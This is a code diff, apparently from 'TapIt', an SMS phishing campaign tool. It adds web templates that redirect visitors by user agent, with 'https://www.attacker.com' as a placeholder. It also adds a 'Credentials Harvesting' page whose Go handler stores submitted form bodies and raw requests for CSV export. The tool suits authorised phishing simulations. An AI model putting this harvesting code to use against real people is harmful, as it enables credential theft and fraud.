currentWebTemplateJson.HarvesterBeforeHtml = webTemplate.HarvesterBeforeHtml
currentWebTemplateJson.HarvesterAfterHtml = webTemplate.HarvesterAfterHtml
currentWebTemplateJson.CreateDate = webTemplate.CreatedAt
return currentWebTemplateJson
}
func (tapit *Tapit) webTemplateRouteHandler(w http.ResponseWriter, r *http.Request) {
var err error
vars := mux.Vars(r)
currRoute := vars["route"]
currJob := Job{}
err = tapit.db.Where(&Job{WebRoute:currRoute}).First(&currJob).Error
if err != nil {
log.Println(err)
http.Error(w, "Bad request", 400)
return
}
currCampaign := Campaign{}
err = tapit.db.Where(&Campaign{Model: gorm.Model{ID:currJob.CampaignId}}).First(&currCampaign).Error
if err != nil {
log.Println(err)
http.Error(w, "Bad request", 400)
return
}
currWebTemplate := WebTemplate{}
err = tapit.db.Where(&WebTemplate{Model: gorm.Model{ID:currCampaign.WebTemplateId}}).First(&currWebTemplate).Error
if err != nil {
log.Println(err)
http.Error(w, "Bad request", 400)
return
}
// check type for "redirect" or "harvester"
if currWebTemplate.TemplateType == "redirect" {
if currWebTemplate.RedirectAgent != "" {
listOfUA := strings.Split(currWebTemplate.RedirectAgent, ",")
currCheck := false
for _, currUA := range listOfUA {
// check if user agent matches
if strings.Contains(r.UserAgent(), currUA) {
currCheck = true
}
}
// if matches at least once, redirect, otherwise placeholder
if currCheck == true {
http.Redirect(w, r, currWebTemplate.RedirectUrl, 302)
} else {
w.Write([]byte(currWebTemplate.RedirectPlaceholderHtml))
}
} else {
listOfUA := strings.Split(currWebTemplate.RedirectNegAgent, ",")
currCheck := true
for _, currUA := range listOfUA {
// check if user agent matches
if strings.Contains(r.UserAgent(), currUA) {
currCheck = false
}
}
// if matches at least once, redirect, otherwise placeholder
if currCheck == true {
http.Redirect(w, r, currWebTemplate.RedirectUrl, 302)
} else {
w.Write([]byte(currWebTemplate.RedirectPlaceholderHtml))
}
}
} else if currWebTemplate.TemplateType == "harvester" {
// if get show before, if post show after
if strings.ToUpper(r.Method) == "GET"{
w.Write([]byte(currWebTemplate.HarvesterBeforeHtml))
} else if strings.ToUpper(r.Method) == "POST"{
w.Write([]byte(currWebTemplate.HarvesterAfterHtml))
} else {
http.Error(w, "Bad request", 400)
}
}
// saving records
requestBody, err:= ioutil.ReadAll(r.Body)
if err != nil {
http.Error(w, "Bad request", 400)
return
}
var newVisit Visit
newVisit = Visit{}
newVisit.JobId = currJob.ID
if r.Header.Get("X-Forwarded-For") == "" {
newVisit.SourceIp = r.RemoteAddr
} else {
newVisit.SourceIp = r.Header.Get("X-Forwarded-For")
}
newVisit.UserAgent = r.UserAgent()
newVisit.Method = r.Method
newVisit.BodyContent = string(requestBody)
rawReqBytes, err := httputil.DumpRequest(r, true)
if err == nil {
newVisit.RawRequest = string(rawReqBytes)
}
// Update visited status
var visits []Visit
tapit.db.Where(Visit{JobId: uint(currJob.ID)}).Find(&visits)
currJob.WebStatus = strconv.Itoa(len(visits) + 1) + " visits"
tapit.db.Save(&currJob)
tapit.db.NewRecord(&newVisit)
tapit.db.Create(&newVisit)
return
}
func (tapit *Tapit) handleDownloadView(w http.ResponseWriter, r *http.Request) {
if strings.ToUpper(r.Method) == "GET" {
var csvBuffer bytes.Buffer
vars := mux.Vars(r)
tempID, err := strconv.Atoi(vars["id"])
if err != nil {
http.Error(w, "Bad request", 400)
return
}
var visits []Visit
tapit.db.Where(Visit{JobId: uint(tempID)}).Find(&visits)
// generate csv
csvWriter := csv.NewWriter(&csvBuffer)
csvWriter.Write([]string{"ID", "Time", "Source IP", "User Agent", "Method", "Body Content", "Raw Request"})
for _, visit := range visits {
csvWriter.Write([]string{strconv.Itoa(int(visit.ID)), visit.CreatedAt.String(), visit.SourceIp, visit.UserAgent, visit.Method, visit.BodyContent, visit.RawRequest})
}
csvWriter.Flush()
w.Header().Set("Content-Disposition", "attachment; filename=\"results.csv\"")
w.Write(csvBuffer.Bytes())
return
} else {
http.Error(w, "HTTP method not implemented", 400)
return
}
}

1
tapit-build/static/es2015-polyfills.js.map

File diff suppressed because one or more lines are too long

BIN
tapit-build/static/favicon.ico

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.3 KiB

After

Width:  |  Height:  |  Size: 7.2 KiB

BIN
tapit-build/static/logo.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

2
tapit-build/static/main.js

File diff suppressed because one or more lines are too long

1
tapit-build/static/main.js.map

File diff suppressed because one or more lines are too long

1
tapit-build/static/polyfills.js.map

File diff suppressed because one or more lines are too long

1
tapit-build/static/runtime.js.map

File diff suppressed because one or more lines are too long

1
tapit-build/static/styles.js.map

File diff suppressed because one or more lines are too long

1
tapit-build/static/vendor.js.map

File diff suppressed because one or more lines are too long

BIN
tapit-build/tapit

Binary file not shown.

5
tapit-frontend/angular.json

@ -20,7 +20,8 @@
"tsConfig": "src/tsconfig.app.json",
"assets": [
"src/favicon.ico",
"src/assets"
"src/assets",
"src/logo.png"
],
"styles": [
"src/styles.css"
@ -133,4 +134,4 @@
}
},
"defaultProject": "tapit-frontend"
}
}

7
tapit-frontend/src/app/app-routing.module.ts

@ -12,6 +12,9 @@ import { TextTemplateComponent } from './text-template/text-template.component';
import { TextTemplateNewComponent } from './text-template-new/text-template-new.component';
import { ProviderComponent } from './provider/provider.component';
import { ProfileComponent } from './profile/profile.component';
import { WebTemplateComponent } from './web-template/web-template.component';
import { WebTemplateNewComponent } from './web-template-new/web-template-new.component';
import { GlobalSettingsComponent } from './global-settings/global-settings.component';
const routes: Routes = [
{ path: '', component: MainComponent },
@ -28,6 +31,10 @@ const routes: Routes = [
{ path: 'text-template/new', component: TextTemplateNewComponent },
{ path: 'text-template/:id/edit', component: TextTemplateNewComponent },
{ path: 'provider', component: ProviderComponent },
{ path: 'web-template', component: WebTemplateComponent },
{ path: 'web-template/new', component: WebTemplateNewComponent },
{ path: 'web-template/:id/edit', component: WebTemplateNewComponent },
{ path: 'global-settings', component: GlobalSettingsComponent },
];
@NgModule({

4
tapit-frontend/src/app/app.component.html

@ -1,5 +1,5 @@
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<a class="navbar-brand" routerLink="/">Tap It!</a>
<a class="navbar-brand" routerLink="/"><img src="logo.png" height="30px" alt="Tap It!"></a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
@ -19,7 +19,7 @@
<div class="dropdown-menu" aria-labelledby="navbarDropdownMenuLink">
<a class="dropdown-item" routerLink="/profile">Profile</a>
<a class="dropdown-item" routerLink="/provider">Providers</a>
<a class="dropdown-item" routerLink="/globalsettings">Global Settings</a>
<a class="dropdown-item" routerLink="/global-settings">Global Settings</a>
</div>
</li>
</ul>

8
tapit-frontend/src/app/app.module.ts

@ -18,6 +18,9 @@ import { RegisterComponent } from './register/register.component';
import { ProviderComponent } from './provider/provider.component';
import { ProfileComponent } from './profile/profile.component';
import { CampaignViewComponent } from './campaign-view/campaign-view.component';
import { WebTemplateComponent } from './web-template/web-template.component';
import { WebTemplateNewComponent } from './web-template-new/web-template-new.component';
import { GlobalSettingsComponent } from './global-settings/global-settings.component';
@NgModule({
declarations: [
@ -34,7 +37,10 @@ import { CampaignViewComponent } from './campaign-view/campaign-view.component';
RegisterComponent,
ProviderComponent,
ProfileComponent,
CampaignViewComponent
CampaignViewComponent,
WebTemplateComponent,
WebTemplateNewComponent,
GlobalSettingsComponent
],
imports: [
BrowserModule,

2
tapit-frontend/src/app/auth.service.ts

@ -23,7 +23,7 @@ export class UserNotification {
})
export class AuthService {
currUser = new User();
loggedin = false;
loggedin = false; // change this for testing
loginUrl = 'api/login';
logoutUrl = 'api/logout';
registerUrl = 'api/register';

7
tapit-frontend/src/app/campaign-new/campaign-new.component.html

@ -34,6 +34,13 @@
<option *ngFor="let textTemplate of textTemplateService.textTemplates" [ngValue]="textTemplate.id">{{textTemplate.name}}</option>
</select>
</div>
<div class="form-group">
<label for="web-template-select">Web Template</label>
<select class="form-control" (change)="updatePreviews()" [(ngModel)]="newCampaign.webTemplateId" id="web-template-select">
<option [ngValue]="0"></option>
<option *ngFor="let webTemplate of webTemplateService.webTemplates" [ngValue]="webTemplate.id">{{webTemplate.name}}</option>
</select>
</div>
<div class="row mt-4">
<div class="col-12 d-flex">

7
tapit-frontend/src/app/campaign-new/campaign-new.component.ts

@ -4,6 +4,7 @@ import { Router, ActivatedRoute, ParamMap } from '@angular/router';
import { ProviderService } from '../provider.service';
import { PhonebookService } from '../phonebook.service';
import { TextTemplateService } from '../text-template.service';
import { WebTemplateService } from '../web-template.service';
@Component({
selector: 'app-campaign-new',
@ -17,7 +18,9 @@ export class CampaignNewComponent implements OnInit {
private router: Router,
private providerService: ProviderService,
private phonebookService: PhonebookService,
private textTemplateService: TextTemplateService) { }
private textTemplateService: TextTemplateService,
private webTemplateService: WebTemplateService,
) { }
newCampaign: Campaign = new Campaign();
@ -43,6 +46,7 @@ export class CampaignNewComponent implements OnInit {
tempStr = tempStr.replace('{lastName}', phonebook.records[0].lastName);
tempStr = tempStr.replace('{alias}', phonebook.records[0].alias);
tempStr = tempStr.replace('{phoneNumber}', phonebook.records[0].phoneNumber);
tempStr = tempStr.replace('{url}', 'https://www.example.com/eR2c1');
this.previewStr = tempStr;
});
@ -55,6 +59,7 @@ export class CampaignNewComponent implements OnInit {
ngOnInit() {
this.newCampaign.textTemplateId = 0;
this.newCampaign.webTemplateId = 0;
this.newCampaign.phonebookId = 0;
}

11
tapit-frontend/src/app/campaign-view/campaign-view.component.css

@ -1,3 +1,14 @@
.campaign-details:read-only {
background-color: white;
}
.download-visits {
color: #007bff;
cursor: pointer;
}
.download-visits:hover {
color: #007bff;
cursor: pointer;
text-decoration: underline;
}

4
tapit-frontend/src/app/campaign-view/campaign-view.component.html

@ -38,6 +38,8 @@
<th scope="col">From</th>
<th scope="col">To</th>
<th scope="col">Currrent Status</th>
<th scope="col">Web Status</th>
<th scope="col">Web Route URL</th>
<th scope="col">Time Sent</th>
</tr>
</thead>
@ -47,6 +49,8 @@
<td>{{ job.fromNum }}</td>
<td>{{ job.toNum }}</td>
<td>{{ job.currentStatus }}</td>
<td><span class="download-visits" (click)="downloadVisits(job.id)">{{ job.webStatus }}</span></td>
<td><a href="{{ job.fullUrl }}">{{ job.fullUrl }}</a></td>
<td>{{ job.timeSent | date:'dd-MMM-yyyy'}}</td>
</tr>
</ng-container>

22
tapit-frontend/src/app/campaign-view/campaign-view.component.ts

@ -2,6 +2,7 @@ import { Component, OnInit } from '@angular/core';
import { CampaignService, Campaign, Job, CampaignNotification } from '../campaign.service';
import { Router, ActivatedRoute, ParamMap } from '@angular/router';
import { NotificationService } from '../notification.service';
import { HttpClient, HttpHeaders } from '@angular/common/http';
@Component({
selector: 'app-campaign-view',
@ -18,9 +19,28 @@ export class CampaignViewComponent implements OnInit {
private campaignService: CampaignService,
private router: Router,
private route: ActivatedRoute,
private notificationService: NotificationService
private notificationService: NotificationService,
private http: HttpClient
) { }
downloadVisits(id: string) {
fetch('/api/jobs/' + id + '/visits')
.then(resp => resp.blob())
.then(blob => {
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.style.display = 'none';
a.href = url;
// the filename you want
a.download = 'visits-' + id + '.csv';
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
this.notificationService.addNotification('success', 'Successfully retrived web visits');
})
.catch(() => this.notificationService.addNotification('failure', 'Failed to download web visits'));
}
startCampaign() {
this.campaignService.startCampaign(this.currCampaign).subscribe(campaignNotification => {
this.notificationService.addNotification(campaignNotification.resultType, campaignNotification.text);

2
tapit-frontend/src/app/campaign.service.ts

@ -21,9 +21,11 @@ export class Campaign {
export class Job {
id: number;
currentStatus: string;
webStatus: string;
timeSent: Date;
fromNum: string;
toNum: string;
fullUrl: string;
}
export class CampaignNotification {

2
tapit-frontend/src/app/campaign/campaign.component.html

@ -11,6 +11,7 @@
<tr>
<th scope="col">Name</th>
<th scope="col">Status</th>
<th scope="col">Web Status</th>
<th scope="col">Target Size</th>
<th scope="col">Create Date</th>
</tr>
@ -20,6 +21,7 @@
<tr routerLink="/campaign/{{ campaign.id }}/view">
<td>{{ campaign.name }}</td>
<td>{{ campaign.currentStatus }}</td>
<td>{{ campaign.webStatus }}</td>
<td>{{ campaign.size }}</td>
<td>{{ campaign.createDate | date:'dd-MMM-yyyy'}}</td>
</tr>

12
tapit-frontend/src/app/global-settings.service.spec.ts

@ -0,0 +1,12 @@
import { TestBed } from '@angular/core/testing';
import { GlobalSettingsService } from './global-settings.service';
describe('GlobalSettingsService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: GlobalSettingsService = TestBed.get(GlobalSettingsService);
expect(service).toBeTruthy();
});
});

60
tapit-frontend/src/app/global-settings.service.ts

@ -0,0 +1,60 @@
import { Injectable } from '@angular/core';
import { Router } from '@angular/router';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { NotificationService } from './notification.service';
import { Observable, of } from 'rxjs';
export class GlobalSettings {
secretRegistrationCode: string;
threadsPerCampaign: number;
bcryptCost: number;
maxRequestRetries: number;
waitBeforeRetry: number;
webTemplatePrefix: string;
webTemplateRoute: string;
}
export class GlobalSettingsNotification {
resultType: string;
text: string;
payload: GlobalSettings;
}
@Injectable({
providedIn: 'root'
})
export class GlobalSettingsService {
globalSettings = new GlobalSettings();
globalSettingsUrl = 'api/globalsettings';
httpOptions = {
headers: new HttpHeaders({
'Content-Type': 'application/json',
}),
};
getGlobalSettings() {
this.http.get<GlobalSettings>(this.globalSettingsUrl, this.httpOptions).subscribe(globalSettings => {
this.globalSettings = globalSettings;
});
}
getGlobalSettingsObs(): Observable<GlobalSettings> {
return this.http.get<GlobalSettings>(this.globalSettingsUrl, this.httpOptions);
}
updateGlobalSettings(globalSettings: GlobalSettings) {
this.http.put<GlobalSettingsNotification>(this.globalSettingsUrl, globalSettings, this.httpOptions).subscribe(settingsMessage => {
this.notificationService.addNotification(settingsMessage.resultType, settingsMessage.text);
this.globalSettings = settingsMessage.payload;
},
err => {
this.notificationService.addNotification('failure', 'Error in updating settings');
});
}
constructor(private http: HttpClient, private router: Router, private notificationService: NotificationService) {
this.getGlobalSettings();
}
}

0
tapit-frontend/src/app/global-settings/global-settings.component.css

56
tapit-frontend/src/app/global-settings/global-settings.component.html

@ -0,0 +1,56 @@
<div class="row">
<div class="col-12">
<div class="row mt-3">
<div class="col-12 d-flex">
<h4>Global TapIt Settings</h4>
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="registration-code" class="pr-2 mt-auto mb-auto">Secret Registration Code</label>
<input type="text" class="flex-grow-1" id="registration-code" [(ngModel)]="displaySettings.secretRegistrationCode" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="threads" class="pr-2 mt-auto mb-auto">SMS Threads Per Campaign</label>
<input type="text" class="flex-grow-1" id="threads" [(ngModel)]="displaySettings.threadsPerCampaign" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="bcrypt-cost" class="pr-2 mt-auto mb-auto">BCrypt Cost</label>
<input type="text" class="flex-grow-1" id="bcrypt-cost" [(ngModel)]="displaySettings.bcryptCost" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="max-retries" class="pr-2 mt-auto mb-auto">Max Request Retries</label>
<input type="text" class="flex-grow-1" id="max-retries" [(ngModel)]="displaySettings.maxRequestRetries" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="wait-time" class="pr-2 mt-auto mb-auto">Wait Before Retry (ms) </label>
<input type="text" class="flex-grow-1" id="wait-time" [(ngModel)]="displaySettings.waitBeforeRetry" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="web-prefix" class="pr-2 mt-auto mb-auto">Web URL Prefix</label>
<input type="text" class="flex-grow-1" id="web-prefix" [(ngModel)]="displaySettings.webTemplatePrefix" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="web-route" class="pr-2 mt-auto mb-auto">Web Route</label>
<input type="text" class="flex-grow-1" id="web-route" [(ngModel)]="displaySettings.webTemplateRoute" >
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<button type="button" (click)="updateGlobalSettings()" class="btn btn-primary">Submit</button>
</div>
</div>
</div>
<div>

25
tapit-frontend/src/app/global-settings/global-settings.component.spec.ts

@ -0,0 +1,25 @@
import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { GlobalSettingsComponent } from './global-settings.component';
describe('GlobalSettingsComponent', () => {
let component: GlobalSettingsComponent;
let fixture: ComponentFixture<GlobalSettingsComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ GlobalSettingsComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(GlobalSettingsComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});

35
tapit-frontend/src/app/global-settings/global-settings.component.ts

@ -0,0 +1,35 @@
import { Component, OnInit } from '@angular/core';
import { GlobalSettings, GlobalSettingsService } from '../global-settings.service';
@Component({
selector: 'app-global-settings',
templateUrl: './global-settings.component.html',
styleUrls: ['./global-settings.component.css']
})
export class GlobalSettingsComponent implements OnInit {
tempSettings = new GlobalSettings();
displaySettings;
updateGlobalSettings() {
this.tempSettings.secretRegistrationCode = this.displaySettings.secretRegistrationCode;
this.tempSettings.webTemplatePrefix = this.displaySettings.webTemplatePrefix;
this.tempSettings.webTemplateRoute = this.displaySettings.webTemplateRoute;
this.tempSettings.threadsPerCampaign = parseInt(this.displaySettings.threadsPerCampaign, 10) + 0;
this.tempSettings.bcryptCost = parseInt(this.displaySettings.bcryptCost, 10);
this.tempSettings.maxRequestRetries = parseInt(this.displaySettings.maxRequestRetries, 10);
this.tempSettings.waitBeforeRetry = parseInt(this.displaySettings.waitBeforeRetry, 10);
this.globalSettingsService.updateGlobalSettings(this.tempSettings);
}
constructor(private globalSettingsService: GlobalSettingsService) { }
ngOnInit() {
this.globalSettingsService.getGlobalSettingsObs().subscribe(settings => {
console.log(settings);
this.displaySettings = settings;
});
}
}

2
tapit-frontend/src/app/text-template-new/text-template-new.component.html

@ -28,6 +28,7 @@
<li>{{ '{' }}lastName{{ '}' }}</li>
<li>{{ '{' }}alias{{ '}' }}</li>
<li>{{ '{' }}phoneNumber{{ '}' }}</li>
<li>{{ '{' }}url{{ '}' }}</li>
</ul>
</div>
</div>
@ -41,6 +42,7 @@
</div>
</div>
</div>
</div>
</div>
<div class="modal fade" id="completeModal" tabindex="-1" role="dialog" aria-labelledby="completeModal" aria-hidden="true">

1
tapit-frontend/src/app/text-template-new/text-template-new.component.ts

@ -28,6 +28,7 @@ export class TextTemplateNewComponent implements OnInit {
tempStr = tempStr.replace('{lastName}', 'Smith');
tempStr = tempStr.replace('{alias}', 'Johnny');
tempStr = tempStr.replace('{phoneNumber}', '+6598765432');
tempStr = tempStr.replace('{url}', 'https://www.example.com/eR2c1');
this.previewStr = tempStr;
}

0
tapit-frontend/src/app/web-template-new/web-template-new.component.css

94
tapit-frontend/src/app/web-template-new/web-template-new.component.html

@ -0,0 +1,94 @@
<div class="row p-2">
<div class="col-12">
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="campaignName" class="pr-2 mt-auto mb-auto">Web Template Name</label>
<input type="text" class="flex-grow-1" id="campaignName" [(ngModel)]="newWebTemplate.name" placeholder="Web Template Name">
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="web-template-type">Web Template Type</label>
<select class="form-control" [(ngModel)]="newWebTemplate.templateType" id="web-template-type">
<option></option>
<option *ngFor="let templateEnum of webTemplateService.wTemplateEnum" [ngValue]="templateEnum.tag">{{templateEnum.name}}</option>
</select>
</div>
</div>
<!-- for redirect -->
<ng-container *ngIf="newWebTemplate.templateType === 'redirect'">
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="redirect-url" class="pr-2 mt-auto mb-auto">Redirect URL</label>
<input type="text" class="flex-grow-1" id="redirect-url" [(ngModel)]="newWebTemplate.redirectUrl" placeholder="https://www.attacker.com">
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="positive-redirect" class="pr-2 mt-auto mb-auto">Positive Redirect UA (Comma separated, leave blank if unused)</label>
<input type="text" class="flex-grow-1" id="positive-redirect" [(ngModel)]="newWebTemplate.redirectAgent" placeholder="Windows NT">
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="negative-redirect" class="pr-2 mt-auto mb-auto">Negative Redirect UA (Comma Seperated, leave blank if unused)</label>
<input type="text" class="flex-grow-1" id="negative-redirect" [(ngModel)]="newWebTemplate.redirectNegAgent" placeholder="Android,iPhone">
</div>
</div>
<div class="row">
<div class="col-12 d-flex">
<p><small><em>Use only either 'Positive' or 'Negative' redirect. DO NOT USE BOTH.</em></small></p>
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="placeholder-html" class="pr-2 mt-auto mb-auto">Placeholder HTML</label>
<textarea class="form-control flex" [(ngModel)]="newWebTemplate.redirectPlaceholderHtml" id="placeholder-html" rows="6"></textarea>
</div>
</div>
</ng-container>
<ng-container *ngIf="newWebTemplate.templateType === 'harvester'">
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="placeholder-harvest-html" class="pr-2 mt-auto mb-auto">Placeholder HTML</label>
<textarea class="form-control flex" [(ngModel)]="newWebTemplate.harvesterBeforeHtml" id="placeholder-harvest-html" rows="6"></textarea>
</div>
</div>
<div class="row mt-3">
<div class="col-12 d-flex">
<label for="after-html" class="pr-2 mt-auto mb-auto">After HTML</label>
<textarea class="form-control flex" [(ngModel)]="newWebTemplate.harvesterAfterHtml" id="after-html" rows="6"></textarea>
</div>
</div>
</ng-container>
<div class="row mt-3">
<div class="col-12 d-flex">
<button type="button" (click)="submitNewWebTemplate()" class="btn btn-primary ml-2">Save Web Template</button>
<button type="button" *ngIf="router.url !== '/web-template/new'" class="btn btn-danger ml-auto" data-toggle="modal" data-target="#completeModal">Delete</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="completeModal" tabindex="-1" role="dialog" aria-labelledby="completeModal" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">{{ newWebTemplate.name }}</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">&times;</span>
</button>
</div>
<div class="modal-body">
<p>Are you sure you want to delete the text template?</p>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-danger" (click)="deleteWebTemplate()" data-dismiss="modal">Delete Web Template</button>
</div>
</div>
</div>
</div>

25
tapit-frontend/src/app/web-template-new/web-template-new.component.spec.ts

@ -0,0 +1,25 @@
import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { WebTemplateNewComponent } from './web-template-new.component';
describe('WebTemplateNewComponent', () => {
let component: WebTemplateNewComponent;
let fixture: ComponentFixture<WebTemplateNewComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ WebTemplateNewComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(WebTemplateNewComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});

46
tapit-frontend/src/app/web-template-new/web-template-new.component.ts

@ -0,0 +1,46 @@
import { Component, OnInit } from '@angular/core';
import { WebTemplateService, WebTemplate } from '../web-template.service';
import { Router, ActivatedRoute, ParamMap } from '@angular/router';
@Component({
selector: 'app-web-template-new',
templateUrl: './web-template-new.component.html',
styleUrls: ['./web-template-new.component.css']
})
export class WebTemplateNewComponent implements OnInit {
newWebTemplate: WebTemplate = new WebTemplate();
id = 0;
submitNewWebTemplate() {
if (this.router.url === '/web-template/new') {
this.webTemplateService.addWebTemplate(this.newWebTemplate);
} else {
this.editWebTemplate();
}
}
deleteWebTemplate() {
this.webTemplateService.deleteWebTemplate(this.newWebTemplate);
}
editWebTemplate() {
this.webTemplateService.editWebTemplate(this.newWebTemplate);
}
constructor(private webTemplateService: WebTemplateService, private router: Router, private route: ActivatedRoute) { }
ngOnInit() {
// if page is edit
if (this.router.url !== '/web-template/new') {
const idParam = 'id';
this.route.params.subscribe( params => {
this.id = parseInt(params[idParam], 10);
this.webTemplateService.getWebTemplateObs(this.id).subscribe(currWT => {
this.newWebTemplate = currWT;
});
});
}
}
}

12
tapit-frontend/src/app/web-template.service.spec.ts

@ -0,0 +1,12 @@
import { TestBed } from '@angular/core/testing';
import { WebTemplateService } from './web-template.service';
describe('WebTemplateService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: WebTemplateService = TestBed.get(WebTemplateService);
expect(service).toBeTruthy();
});
});

97
tapit-frontend/src/app/web-template.service.ts

@ -0,0 +1,97 @@
import { Injectable } from '@angular/core';
import { Router } from '@angular/router';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { NotificationService } from './notification.service';
export class WebTemplate {
id: number;
name: string;
templateType: string; // enum redirect, harvester
redirectAgent: string;
redirectNegAgent: string;
redirectPlaceholderHtml: string;
redirectUrl: string;
harvesterBeforeHtml: string;
harvesterAfterHtml: string;
createDate: Date;
}
export class WebTemplateNotification {
resultType: string;
text: string;
payload: WebTemplate;
}
@Injectable({
providedIn: 'root'
})
export class WebTemplateService {
wTemplateEnum = [
{name: 'Redirect Based On User Agent', tag: 'redirect'},
{name: 'Credentials Harvesting', tag: 'harvester'},
];
templateUrl = '/api/web-template';
httpOptions = {
headers: new HttpHeaders({
'Content-Type': 'application/json',
}),
};
webTemplates: WebTemplate[] = [];
getWebTemplates() {
this.http.get<WebTemplate[]>(this.templateUrl).subscribe(templates => {
if (templates === null) {
this.webTemplates = [];
} else {
this.webTemplates = templates;
}
});
}
addWebTemplate(newWebTemplate: WebTemplate) {
this.http.post<WebTemplateNotification>(this.templateUrl, newWebTemplate, this.httpOptions).subscribe(templateNotification => {
this.notificationService.addNotification(templateNotification.resultType, templateNotification.text);
this.webTemplates.push(templateNotification.payload);
if (templateNotification.payload !== null) {
this.router.navigate(['/web-template']);
}
},
err => {
this.notificationService.addNotification('failure', 'Error in creating template');
});
}
deleteWebTemplate(webTemplate: WebTemplate) {
this.http.delete<WebTemplateNotification>(this.templateUrl + '/' + webTemplate.id.toString(), this.httpOptions)
.subscribe(templateNotification => {
this.notificationService.addNotification(templateNotification.resultType, templateNotification.text);
this.router.navigate(['/web-template']);
},
err => {
this.notificationService.addNotification('failure', 'Error in deleting web template');
});
}
editWebTemplate(webTemplate: WebTemplate) {
this.http.put<WebTemplateNotification>(this.templateUrl + '/' + webTemplate.id.toString(), webTemplate, this.httpOptions)
.subscribe(templateNotification => {
this.notificationService.addNotification(templateNotification.resultType, templateNotification.text);
if (templateNotification.payload !== null) {
this.router.navigate(['/web-template']);
}
},
err => {
this.notificationService.addNotification('failure', 'Error in editing web template');
});
}
getWebTemplateObs(id: number) {
return this.http.get<WebTemplate>(this.templateUrl + '/' + id.toString());
}
constructor(private http: HttpClient, private router: Router, private notificationService: NotificationService) {
this.getWebTemplates();
}
}

0
tapit-frontend/src/app/web-template/web-template.component.css

29
tapit-frontend/src/app/web-template/web-template.component.html

@ -0,0 +1,29 @@
<div class="row">
<div class="col-12">
<button class="btn btn-primary" routerLink="/web-template/new">New Web Template</button>
</div>
</div>
<div class="row mt-2">
<div class="col-12">
<table class="table table-hover">
<thead class="thead-dark">
<tr>
<th scope="col">Name</th>
<th scope="col">Type</th>
<th scope="col">Create Date</th>
</tr>
</thead>
<tbody>
<ng-container *ngFor="let webTemplate of webTemplateService.webTemplates">
<tr routerLink="/web-template/{{ webTemplate.id }}/edit">
<td>{{ webTemplate.name }}</td>
<td>{{ webTemplate.templateType }}</td>
<td>{{ webTemplate.createDate | date:'dd-MMM-yyyy'}}</td>
</tr>
</ng-container>
<p *ngIf="webTemplateService.webTemplates.length === 0">No web template created yet. Create templates by clicking <a routerLink="/web-template/new">here</a></p>
</tbody>
</table>
</div>
</div>

25
tapit-frontend/src/app/web-template/web-template.component.spec.ts

@ -0,0 +1,25 @@
import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { WebTemplateComponent } from './web-template.component';
describe('WebTemplateComponent', () => {
let component: WebTemplateComponent;
let fixture: ComponentFixture<WebTemplateComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ WebTemplateComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(WebTemplateComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});

17
tapit-frontend/src/app/web-template/web-template.component.ts

@ -0,0 +1,17 @@
import { Component, OnInit } from '@angular/core';
import { WebTemplateService } from '../web-template.service';
@Component({
selector: 'app-web-template',
templateUrl: './web-template.component.html',
styleUrls: ['./web-template.component.css']
})
export class WebTemplateComponent implements OnInit {
constructor(private webTemplateService: WebTemplateService) { }
ngOnInit() {
this.webTemplateService.getWebTemplates();
}
}

BIN
tapit-frontend/src/favicon.ico

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.3 KiB

After

Width:  |  Height:  |  Size: 7.2 KiB

BIN
tapit-frontend/src/logo.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Loading…
Cancel
Save